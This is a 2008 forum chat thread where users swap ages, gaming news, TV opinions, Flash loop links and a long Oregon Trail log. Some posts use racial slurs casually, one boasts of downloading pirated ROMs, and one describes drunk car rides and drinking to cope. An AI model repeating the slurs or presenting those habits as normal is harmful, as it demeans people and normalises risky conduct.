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Title: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 03, 2008, 10:58:02 PM
Talk about stocking shelves here. :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 03, 2008, 11:07:21 PM
No.

I should really fix the other computer in this basement... But then I'd have to fix the ethernet cord I cut to get some wire to fix my Guitar Hero controller. I'll need to buy a connector and attach it to the new end, lol. It might not be long enough now either. :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 03, 2008, 11:08:30 PM
No.

Negro. D:<
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 03, 2008, 11:13:21 PM
Wow, the other thread didn't even last 5 months. 100 pages in 128 days.

So I think I'm renting a tux sometime soon since prom is next Saturday. I've never worn an actual tux, so it should be interesting.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 03, 2008, 11:23:37 PM
Bah, I didn't go to prom. Around here, it's like, $90 a ticket, per person. Not just that, but I don't dance. I don't bother with that stuff, because I don't enjoy it like I'm supposed to. I hate formal things, too. To me, prom would have just been fake. I'd have been lying if I said I wanted to go, or that I would enjoy it. So what's the point of wasting $90 I don't have (plus god knows how much more it might cost for other expenses related to it) to go to something I won't enjoy and watch other people enjoy something I'm not?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 03, 2008, 11:40:36 PM
I got a ballin tux for prom. All black 2 button suit, silver vest with gangsta ass pasley designs on it, a black undershirt, and a pair of the classic black vans.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on April 04, 2008, 12:44:10 AM
snap son

Anyway, I forgot to mention that yes, the identical twins were female. Not particularly hot but I'd do 'em. One was kind of more sober than the other and was like pulling away but the other was totally into it and kept bringing the other one closer. XD

Also there were like 15 guys around them all with their cellphones out taking pictures and videos. I've tried searching on youtube but no luck.

Anyway I figured I'd update you all on my life since you all care so much:

-Going to college at SUNY Oswego
-totally fucked things up with a girl in the past month and has left me depressed
-started playing IIDX again since I can burn games and brought my controller up, and pretty much am already right where I left off (can pass most 7s, some 8s [this is going by L7/7K/A ratings, haven't gotten used to the 1-12 stuff yet])

Umm yeah other than that my life has been pretty boring tbh. I'm thinking of working out a bunch over the summer after school and my vacation and then joining the Rugby team next semester.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 01:03:47 AM
Damn, another IIDX player better than me, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 01:12:46 AM
went for a walk, was pretty damn nice out.

then it rained....
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 04, 2008, 01:28:01 AM
then it rained....

It's been raining pretty much all day over here. =(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 02:01:10 AM
Woo, I'm 20, forgot to mention that, but today, I am 20.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 02:03:46 AM
i swear you were older than me

FACIAL HAIR CAN DO THAT TO A MAN

AND I AINT GOT NONE

FUCK YALL

on the flip side, a friend of mine got me a "hooters energy drink"

the can is awesome, and well, lets hope it doesn't taste like ass.

*edit*

this stuff smells like something you would wash your hair with...the taste...is actually pretty decent.  i mean some almost all energy drinks (example, rockstar) just aren't palatable, and i have to pour the rest of the damn thing down the drain.  this stuff, ill be able to finish off with reletave ease.

actually, every time i take a drink, its like sticking my nose in say my ex girlfriend's hair, which is decently pleasant.  its just...a very odd smell for a drink.

*edit*

ok, the smell is just too much, i could only finish off half the can.  i can't drink a beverage that doesn't smell edible, regardless of taste!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 04, 2008, 03:31:57 AM
With a Vengeance, Yous Bitches

Yous Bitches
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 04, 2008, 04:47:10 AM
I do not have the attention span to read this thread right now. Heh.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 01:28:13 PM
As I said before. Woo, I'm 20.

Now I gotta figure out how I'm going to celebrate (and who I'll celebrate with.)

Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 01:49:06 PM
nab anyone avalible and do anything enjoyable

all i did for mine was got a few friends together and dicked around most of the day
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 02:25:52 PM
Except that nobody but my GF and one other friend is online, lol. and I'm too lazy to call people.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 04, 2008, 02:48:41 PM
Wow, you guys make me feel young.

I haven't even turned 16 yet...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 02:59:10 PM
And you make me feel old.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on April 04, 2008, 03:41:33 PM
I haven't turned 15 yet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 04, 2008, 03:51:57 PM
yous bitches be young D-:>

I'm 17 in December
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 04:12:59 PM
so spectere, eggman, bobbias and i are old fogies in compairison to the rest of the site?

news to me.

wtb cane and eyepatch!

*edit* raising happiness in pokemon is the lamest thing ever, just evolve into a goddamn pikachu already.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 04:38:09 PM
wtb cane and eyepatch!

If only..
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 04, 2008, 04:44:00 PM
Man, I thought I was all old and such, I'm 18.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 04, 2008, 07:45:45 PM
Jesus I'm 20 in september. D: Oh well one more year till I can buy my own fucking booze instead of asking other people haha.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 04, 2008, 07:53:29 PM
God, it sucks for you Americans, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 04, 2008, 09:50:46 PM
I have a PSP now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 09:56:33 PM
I have a PSP now.

snap son, if you can handle it, get monster hunter freedom 2.

its the only psp game i own, odd considering i don't own a psp.  but if you manage to play it solely for the ad hoc multiplayer(hard for me to mention a better multiplayer game), you won't be disappointed.  other than that, its probably the hardest game ever, and its not forgiving...at all.

i guess crysis core, metal gear acid/portable ops are also worth mentioning

ALSO, i don't like to admit it, but im starting to like this battlestar galactica stuff.  i first started watching it because there was nothing better on, and all the show is, is drama, and im not much for drama.  but i guess its pretty aight.  id still rather be watching stargate atlantis/sg1/any version of star trek.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 04, 2008, 10:30:55 PM
so spectere, eggman, bobbias and i are old fogies in compairison to the rest of the site?

How old is you?  I fergit and you didn't put your birthday in your profile. D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 10:36:54 PM
turned 20 march 27, 2008

guess this means bobbias is about 8 days younger than me

im a youngin, but compaired to pancake, im like totally not young.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 04, 2008, 11:40:14 PM
I think I'm the oldest one here now that Kilga went and left.

Scary.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 04, 2008, 11:52:43 PM
keep on the prune juice and you will be just fine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 05, 2008, 01:11:02 AM
I'm 23  :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 05, 2008, 01:48:49 AM
ALSO, i don't like to admit it, but im starting to like this battlestar galactica stuff.  i first started watching it because there was nothing better on, and all the show is, is drama, and im not much for drama.  but i guess its pretty aight.  id still rather be watching stargate atlantis/sg1/any version of star trek.

Uh, Battlestar Galactica is pretty much pure awesome. I started watching it a couple months ago, and am practically crapping my pants at the prospect of a new season. Unfortunately I'm going to have to download it, because I don't get sci-fi on cable here >: |
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on April 05, 2008, 02:17:20 AM
BSG is by FAR the best sci-fi show EVER made. By FAR. The final season opener was excellent.

And yeah, I turned 23 on March 17th.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 05, 2008, 02:44:43 AM
Hana, well, I got a cousin 3 years older than me. To the day, lol. He was born on the same day as I was, :P

Also, a mickey of Disarono is good. we made a drink that kicked ass, I'll post what it was later, when I'm sober, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on April 05, 2008, 03:37:38 PM
Helpful hint to the other guys out there: Don't get really fucking drunk and get in the car with some kid and your friends who are all really drunk and then go to some random guy's house and text your ex for like 3 hours detailing how you both cheated on each other even though you wanted to get back together and then ending up hating her and yourself for it and cutting all contact.

:/

Shit last night was one of the worst nights in my life. I also had to walk home like 2 miles with just a t-shirt on in fucking 30 degree weather and strong winds, and fell asleep on my desk because my female friend was locked out of her room so I gave her my bed, and puked the following morning after waking up at 7 am, and then going to bed again at 11 to wake up again at 2, thus wasting like half my day.

Fuck my life sucks. Getting drunk again tonight though to NUMB THE PAIN.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 05, 2008, 03:51:20 PM
(http://img206.imageshack.us/img206/4979/ss7zq9.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 05, 2008, 04:54:28 PM
Helpful hint to the other guys out there: Don't get really fucking drunk and get in the car with some kid and your friends who are all really drunk and then go to some random guy's house and text your ex for like 3 hours detailing how you both cheated on each other even though you wanted to get back together and then ending up hating her and yourself for it and cutting all contact.

:/

Shit last night was one of the worst nights in my life. I also had to walk home like 2 miles with just a t-shirt on in fucking 30 degree weather and strong winds, and fell asleep on my desk because my female friend was locked out of her room so I gave her my bed, and puked the following morning after waking up at 7 am, and then going to bed again at 11 to wake up again at 2, thus wasting like half my day.

Fuck my life sucks. Getting drunk again tonight though to NUMB THE PAIN.

Ouch. Lucky me, I've got good control of myself, drunk or not. I've never understood why people start texting/calling people when they're drunk... Maybe it's because I don't have a cell, and don't have the mindset that comes with having one, but I just don't get it. In all likelihood, you're just going to make things worse when you text/call people drunk.

Also, I highly recommend you don't drink to numb the pain. That is the sort of shit that leads to either things getting worse, or alcoholism.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 05, 2008, 05:04:21 PM
only responding due to finding an analogy.

drinking to numb the pain to me, sounds similar to "yea bro, im just going to cut myself to stop the bleeding" or "yes nigga im drinking salt to quench my thirst"

0 + 0 =/= 1

*on an awesome note*

i caught a croagunk, whee!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 05, 2008, 06:21:07 PM
I got a shiny Vulpix in my Sapphire. When I saw what the shiny Ninetales sprite looked like, I came.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 05, 2008, 10:17:19 PM
Work tonight was soooo boring and lame. I work two shifts tomorrow, not looking forward to it. I'm planning on waking up early, going on a nice, long bike ride, and then finishing my research paper on why we should retire the penny before going to work at 1:15.

Also, my girlfriend and I got our hair cut at this place at the mall, by this REALLY gay guy who was recommended to us by my ex. He did a really good job with our hair, will upload pics once I have the motivation to. After the past two days (day-long practice Thursday and day-long competition, from 8:30am to 4:30am the next morning, on Friday) I am pretty much beat.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 05, 2008, 10:49:51 PM
fraophsuiohjklsa
I'm so fucking tired.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 06, 2008, 12:16:51 AM
15 hours of sleep

gogogo

if you can't manage to sleep, take some fuckin nighttime cold medicine, its what its for son!

uhh don't watch shin chan though, you will be too busy laughing to sleep.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 06, 2008, 12:52:15 AM
Can't sleep in too late.  I have too much shit to do tomorrow.

Also, I came to the sad realization that if I were to get 10 hours of sleep I would still wind up having more hours invested in work than I would in sleep.  Needless to say, I don't plan on ever pulling a 60 hour work week again.

Edit: I'm bored. (http://www.google.com/search?hl=en&safe=off&q=%28one+million+one+hundred+eleven+thousand+one+hundred+eleven+plus+one+hundred+and+eleven+thousandths%29+times+two&btnG=Search)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 06, 2008, 04:54:05 AM
I'm so fucking tired.

Fucking tired, you say?

:-*
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 06, 2008, 01:33:47 PM
I just finished putting custom firmware on my PSP. Score.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 06, 2008, 01:47:41 PM
I just accidentally drop tested my PSP from about five feet onto a tiled floor.

The game popped out of the slot (while the system was playing it...woo), the GBA filler "cartridge" fell out, and the stylus went flying.

The result: absolutely no damage.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 06, 2008, 01:51:27 PM
I just accidentally drop tested my PSP from about five feet onto a tiled floor.

The game popped out of the slot (while the system was playing it...woo), the GBA filler "cartridge" fell out, and the stylus went flying.

something doesn't quite add up here
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 06, 2008, 03:20:15 PM
The game popped out of the slot (while the system was playing it...woo)

Not the first time a PSP's done that. Just remember the old "twist and pop" maneuver?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 06, 2008, 05:24:27 PM
I'm with vlad, I think you mean your DS :s
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 06, 2008, 05:29:09 PM
Lol, well PSPs were known for launching disks when you twisted them just right.

That's what I was pointing out.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 06, 2008, 06:31:29 PM
Yeah, I meant my DS.  Aldrasio's post blinded me.

Speaking of PSPs, though, I finally unlocked 8 button mode on DJ MAX Portable 2.  Fun!

Lol, well PSPs were known for launching disks when you twisted them just right.

Err...no, they really aren't.

The person who made that video BS'ed that (his index finger was right over the eject slider).  The PSP is solidly built -- you can't twist it just like that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 06, 2008, 07:21:59 PM
/me shrugs
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 06, 2008, 07:30:36 PM
no job + friends busy = boredom

yorrrrr
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on April 06, 2008, 09:44:22 PM
You actually can't even do that with the PSP Slim at all. There's no eject button. You have to pry the door open to swap games.

I've been playing FF7: Crisis Core a bit. Pretty good game. Prettiest handheld game ever so far.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 06, 2008, 10:51:34 PM
I started playing Crisis Core as well. I expected it to just be another mediocre addition to the FF7 story, but it's actually pretty good.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on April 06, 2008, 11:51:56 PM
So I got back together with that ex I mentioned in one of my previous posts. God I'm fucking stupid as hell.

Also, my IIDX RED kept freezing up on certain songs and I got very depressed. Guess I have to burn a new copy, but I'm fucking lazy.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on April 07, 2008, 01:35:23 PM
That's pretty much how I felt for 10 months. Do you guys actually get along well though?

Half the time we do, half the time we fight. Last night was the best night I've ever had with her, though. It was like 2 hours of us getting everything off our chests and then 4 hours of making out/laying with each other.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 07, 2008, 02:10:31 PM
Sounds fairly awesome :U
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 07, 2008, 10:59:30 PM
So my 360 is clearly on the road to failure.  It was behaving EXTREMELY strangely earlier (i.e. random freezes, SCREEN FILLED WITH STATIC AND JUNK (in glorious 1080p), and graphical glitches).  In addition to the odd freezes, I got a hardware failure light (one red segment in the lower-right) and two RRoDs.  I let the console heat up a bit and it ran fine all night, so the board is quite obviously fucked.

Unfortunately, it's very inconsistent with red-ringing, so I'm sort of hesitant to send it back to Microsoft.  I'll probably just let it warm up before using it and send it back when it tanks completely and consistently.  I give it a month, tops.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 08, 2008, 12:03:28 AM
So my friend's in Dallas for his spring break... he just told me he inadvertently wore his Assassin's Creed shirt to Dealey Plaza, the place where JFK was shot, while visiting it today. What a dumbass XD

Also I finished my argumentative research paper. 1,229 words of glorious anti-circulation-of-the-penny crusading. When I finished I rode my bike to walmart, 4 miles each way. Stocked up on candy to sell at school and bought some snacks. Had to avoid 4 or 5 cops I nearly ran into, got flicked off by some random car at a stoplight, and rode past some really creepy guy wandering in a parking lot. All in all, it was fun, and I feel well-exercised now.

Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 08, 2008, 12:11:14 AM
Currently ACQUIRING assloads of ROMs for my PSP. I love this thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Milk Chan on April 08, 2008, 12:51:28 AM
Ok so I deleted my old avatar and then put it back up, yet i logged out and now its this?


WTF?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 08, 2008, 12:54:17 AM
looks like theres a new pedo in town!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 08, 2008, 02:11:34 AM
Bah, I could never see why people would get back with their ex's. If they break up with you in the first place (or worse, you break up with them), I'd think that either A) there's a pretty decent reason (and it's likely reason enough to stay broken up), or B) one, or both of you is crazy/doesn't understand what they want right now, which is an indication that the other/both of you should stay away.

I just don't get it...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 08, 2008, 02:20:47 AM
no job + friends busy = boredom

yorrrrr

Welcome to my world, I haven;t gone out of my house for anything besides school in about 3 or 4 weeks. Probably going to call up a buddy after Wednesday tho.

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 08, 2008, 08:17:46 AM
I should not be so addicted to these things:
http://www.z0r.de/?id=378

Flash loop of Conan O'Brien shopped into Starfox set to Sweet Dreams by The Eurythmics

That site is FULL of addictive flash loops.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 08, 2008, 12:50:00 PM
Welcome to my world, I haven;t gone out of my house for anything besides school in about 3 or 4 weeks.

ive been searching for a job since october 2006

im the one that should be saying "welcome to my world"

however, i do get out of the house whenever anybody isn't busy with work/school.

ohh and i caught palkia, whee.  easiest pokemon to catch in the game, use psychic, suck up a move which almost kills "Kazza" (wtb name changer, its not my fault the npc's name their pokemon), use ultra ball, ???, profit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 08, 2008, 04:37:37 PM
So I think I dreamed I posted something in the forums, yet I wake up today, looking for replies or updates, and nothing.

o.o

That's weird.

edit: also, everyone get in on this, if you can swing it. I made a group and called it Spectere.net Team Planet 

(http://www.localcooling.com/static/images/418x60.gif)] (http://www.localcooling.com/?type=link&userid=57241)

(http://)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 08, 2008, 05:24:55 PM
I should not be so addicted to these things:
http://www.z0r.de/?id=378

That's an old YTMND "fad".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 08, 2008, 06:50:33 PM
Still totally awesome. Check out http://z0r.art-child.net/ for a listing of artist/song title/material used. It's not complete, but it does have quite a bit.

This one is pretty great. I definitely got a bit of a laugh out of it http://z0r.de/?id=29
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 08, 2008, 07:41:59 PM
So I bought 35 pieces (bags/bars) of candy at Walmart last night for about 18 bucks. And I sold about 25 of them today alone. I've been selling ~20-25 pieces of candy ever since the day I started selling them... and I believe I've found a wonderful niche in making money at school. I'm going to buy boxes of candy today, of the 36 bags of skittles and whatnot, and just start selling those... christ. It sells itself!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 08, 2008, 09:03:34 PM
ROFL, nice work!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 08, 2008, 10:20:51 PM
http://www.z0r.de/?id=21

Ulti should see this, also I can't stop watching these. Some of them are shitty Gif. plus music (lol YTMND) but some are well animated.

Also HEAVY MACHINE GUN. http://www.z0r.de/?id=21
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 08, 2008, 10:59:15 PM
wtf, my 360 is working PERFECTLY again.

ARGH MAKE UP YOUR MIND YOU CRAZY CURVY WHITE THING WITH A SILVER FACEPLATE THAT MATCHES MY DESK PERFECTLY.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 08, 2008, 11:39:37 PM
spectur i has two working computers with AGP ports now

send me shit <:) :-*

edit: i think my newly acquired pentium 4 has a small pci-e port too
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 09, 2008, 12:06:12 AM
http://www.gomtv.net/classic/

56 minutes till live starcraft english commentated action!

problem, its all thunderey ouside, lets hope that power doesn't go out...as there seems to be a 1 in 3 chance every time theres rain complete with thunder that my power goes out...yeah...

*edit*

well, durring some of the thunder, i heard the sound of electricity i believe through my speakers...so fearing my pc would fry, off the power went.  seems the storm settled down now, so lets hope it doesn't come back.

also, 32 minutes, STARKREUFT LIAVE!1111111111f
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 09, 2008, 12:51:57 AM
Arg, I wish these things weren't so late night, lol. I'd watch, but I'm tired tonight, and need sleep. I guess I'll watch when the VODs are up.

http://www.z0r.de/?id=21

Haha, yeah, that was one of the funny ones. I got a good laugh out of it anyway. With 1500 or so videos, it's definitely got some crap, but there are quite a few gems in there.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 09, 2008, 12:53:50 AM
1am for one of these things is really early, if you have the time to watch it, nows the time. 

normally i see these things go up 4am est being the earliest.

*edit*

its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up its up

interesting the livestream comes up the instant 4chan goes down.

its motherfuckin starcraft, WATCH EET

lets see, we had a tvt, another tvt...and a 2v2 zp v zp to mix things up a bit.  wasn't too bad, but it was no epic "flash v stork" battle, still worth watching.

theres more up at 5am, but ill catch the vods, my sleep pattern isn't that wonked up yet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 09, 2008, 01:18:24 AM
spectur i has two working computers with AGP ports now

send me shit <:) :-*

I DUN HAEV ANYTHING D:

Well, except for the GF6600GT in the computer that I'm currently using BUT YOU CAN'T HAVE THAT BECAUSE I NEED IT. <3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 09, 2008, 02:04:28 PM
my sleep pattern isn't that wonked up yet.

I would have watched last night, but A) I've gotta do some math shit today, and B) I wanted to go to bed at a half-decent time for once.

I'll watch the VODs when I've got the time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 09, 2008, 07:09:35 PM
I just inadvertently popped one of those annoying, painful pimples inside of my nostril. Now it's oozing. Lame.

Also I want to go swimming. So I'm gonna. How many else of you can say that :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 09, 2008, 10:12:37 PM
Also I want to go swimming. So I'm gonna. How many else of you can say that :P

I live 15 minuets from a beach, haven't gone swimming their in a year.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 10, 2008, 01:12:30 AM
So I downloaded my favorite game ever. Many Laughs ensued.

April 1, 1848
You started down the trail with 7 oxen, 15
 sets of clothing, 300 bullets, 2 wagon wheels,
 2 wagon axles, 2 wagon tongues, 1200
 pounds of food, and $580.00.
You decided to change the pace to strenuous.
April 5, 1848
You have reached the Kansas River Crossing.
You chose to take a ferry across the river.
April 6, 1848
Red Sox was bitten by a snake.
April 9, 1848
Sean was bitten by a snake.
You have reached the Big Blue River Crossing.
You chose to caulk your wagon and float it
 across the river.
April 12, 1848
Red Sox died of a snakebite.
April 14, 1848
You have reached Fort Kearney.
You bought 200 pounds of food at the store.
April 18, 1848
Sean is well again.
April 20, 1848
Jesus has a broken arm.
April 24, 1848
You have reached Chimney Rock.
April 25, 1848
A thief stole 3 oxen from your wagon.
April 27, 1848
Jesus
April 30, 1848
You have reached Fort Laramie.
You bought 200 pounds of food at the store.
May 2, 1848
You've lost the trail.
May 6, 1848
You took the wrong trail.
May 13, 1848
You found some wild fruit.
May 14, 1848
No water.
May 15, 1848
You found some wild fruit.
You had a wagon tongue break but were able
 to fix it.
You have reached Independence Rock.
May 16, 1848
No water.
May 17, 1848
You had a wagon axle break but were able to
 replace it from supplies.
No water.
May 18, 1848
You've lost the trail.
No grass for the oxen.
May 21, 1848
Jesus is well again.
May 23, 1848
You decided to hunt.
You decided to hunt.
You decided to hunt.
May 25, 1848
An ox is sick.
May 26, 1848
You have reached South Pass.
You decided to take the trail to the Green
 River Crossing.
May 29, 1848
You took the wrong trail.
June 9, 1848
Bad water.
June 10, 1848
An ox died.
No water.
You have reached the Green River Crossing.
You chose to take a ferry across the river.
June 11, 1848
An ox is sick.
June 12, 1848
An ox died.
June 14, 1848
Bad water.
June 15, 1848
Bad water.
June 18, 1848
You found some wild fruit.
June 19, 1848
No grass for the oxen.
Sean has a fever.
June 20, 1848
An ox is sick.
June 21, 1848
No water.
June 22, 1848
Bad water.
Yankees is sick with typhoid fever.
June 23, 1848
You found some wild fruit.
You decided to change the pace to steady.
June 24, 1848
No water.
June 28, 1848
Sean has a broken arm.
No water.
June 29, 1848
An ox died.
No water.
Jesus is sick with typhoid fever.
June 30, 1848
Sean
July 1, 1848
No grass for the oxen.
July 2, 1848
A thief stole 1 ox from your wagon.
Bad water.
Yankees is well again.
You traded $37.00 for 1 ox.
July 3, 1848
No water.
July 4, 1848
Yankees has cholera.
Yankees
July 6, 1848
No water.
July 8, 1848
Bad water.
Jesus is well again.
July 10, 1848
A fire in your wagon destroyed 121 bullets, 1
 wagon wheel, and 1 wagon tongue.
No grass for the oxen.
July 11, 1848
Yankees has a broken leg.
No water.
Jesus is suffering from exhaustion.
July 13, 1848
No water.
July 14, 1848
No grass for the oxen.
July 15, 1848
No grass for the oxen.
July 19, 1848
No water.
Jesus is well again.
You have reached Soda Springs.
July 20, 1848
You decided to hunt.
You brought back 200 pounds of food.
July 21, 1848
No water.
You decided to change the pace to strenuous.
July 23, 1848
Yankees was bitten by a snake.
No grass for the oxen.
July 24, 1848
Yankees has a broken arm.
No water.
July 27, 1848
No water.
July 28, 1848
Sean is well again.
July 30, 1848
No water.
July 31, 1848
No grass for the oxen.
August 2, 1848
No grass for the oxen.
August 4, 1848
No water.
August 5, 1848
No water.
You have reached Fort Hall.
You bought 2 oxen, and 600 pounds of food at
 the store.
August 6, 1848
No water.
August 10, 1848
No water.
August 11, 1848
No grass for the oxen.
August 12, 1848
You had a wagon wheel break but were able to
 replace it from supplies.
No grass for the oxen.
August 13, 1848
No water.
August 15, 1848
You've lost the trail.
Rough trail.
August 18, 1848
No grass for the oxen.
You decided to rest for 5 days.
August 24, 1848
Yankees is well again.
August 25, 1848
Bad water.
August 26, 1848
No water.
August 27, 1848
You have reached the Snake River Crossing.
You chose to have an Indian guide help you
 cross the river.
August 28, 1848
No grass for the oxen.
August 29, 1848
No grass for the oxen.
August 30, 1848
Heavy fog.
No grass for the oxen.
Jesus is suffering from exhaustion.
September 2, 1848
You found some wild fruit.
September 3, 1848
Heavy fog.
No grass for the oxen.
September 5, 1848
No water.
September 7, 1848
Heavy fog.
September 8, 1848
Jesus is well again.
September 9, 1848
You have reached Fort Boise.
September 10, 1848
You decided to hunt.
You decided to hunt.
September 22, 1848
You have reached Grande Ronde in the Blue
 Mountains.
You decided to take the trail to The Dalles.
September 23, 1848
Rough trail.
You decided to hunt.
You brought back 118 pounds of food.
September 24, 1848
No water.
September 26, 1848
You found some wild fruit.
No water.
September 27, 1848
The trail is impassable.
Sean has the measles.
September 29, 1848
No water.
September 30, 1848
Bad water.
October 1, 1848
No grass for the oxen.
October 2, 1848
No water.
October 3, 1848
Rough trail.
No water.
Yankees has a fever.
October 4, 1848
You have reached The Dalles.



tl;dr
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 10, 2008, 02:09:47 AM
fuck yeah Oregon Trail

Speaking of that:

(http://files.spectere.net/projects/otools/screenshots/otools-04.png)

God, I'm a nerd.

More here: http://files.spectere.net/index.php?dir=projects/otools/screenshots/ (http://files.spectere.net/index.php?dir=projects/otools/screenshots/)

Do note the fun process of debugging a PCX viewer (screenshots 2 and 3).

Maybe I'll resurrect that project someday.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 10, 2008, 02:23:52 AM
July 30, 1848
No water.
July 31, 1848
No grass for the oxen.
August 2, 1848
strenuous pace only
August 4, 1848
FINAL DESTINATION.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 10, 2008, 12:04:57 PM
Also I want to go swimming. So I'm gonna. How many else of you can say that :P

I'm playing water polo in college so I get to swim everyday, its almost torture. I can only swim so many laps in the same pool before it gets to the THE MOST FUKCING BORING THING EVER.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 10, 2008, 01:02:51 PM
oregon trail was the game of kings.  no elementary school experience should be without some good old fashon oregon trail.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 10, 2008, 04:59:56 PM
Over here, it was Cross Country Canada. http://www.download-full-games.com/pc/educational/cross_country_canada.html
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 10, 2008, 10:31:18 PM
the latest episode of south park was awesome, i loled quite hardily.

MR GARRISON IS BACK!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on April 11, 2008, 03:57:37 PM
I always knew he would!

This season is especially good, in my opinion...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 12, 2008, 12:32:21 AM
oregon trail was the game of kings.  no elementary school experience should be without some good old fashon oregon trail.

BEST GAME

